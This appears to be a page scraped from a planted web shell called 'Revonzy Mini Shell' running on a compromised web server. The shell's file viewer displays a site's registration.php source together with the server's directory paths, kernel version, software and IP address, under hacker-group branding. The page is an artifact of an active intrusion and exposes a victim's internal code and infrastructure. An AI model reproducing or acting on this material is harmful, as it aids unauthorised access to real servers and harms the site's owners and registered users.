Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/www/sharemarkettraders.com/software/api/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/www/sharemarkettraders.com/software/api/registration.php

<?php
	require_once('../lib/function.php');
	$db		=	new login_function();

    $response   =   array();
	

if (isset($_POST['full_name'])) {
    $var_full_name = 	$_POST['full_name'];
    $var_mobile_no 	= 	$_POST['mobile_no'];
    $var_email 	= 	$_POST['email'];
    $var_password 	= 	$_POST['password'];
    $var_api_key  = $_POST['api_key'];
        
       
        if($db->add_new_registration($var_full_name,$var_mobile_no,$var_email,$var_password,$var_api_key))
            {
                $response['status'] =   '1';
                $response['message'] =   "Your registration is successful";
            }
            else{
                $response['status'] =   '0';
                $response['message'] =   "Failed to register";
            }
}
       
        // else
        // {
        //     $response['status'] =   '0';
        //     $response['message'] =   "This user is already registered";
        // }
    else
    {
        $response['status'] =   '0';
        $response['message'] =   "Key Not Set";
    }

    echo json_encode($response);
?>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4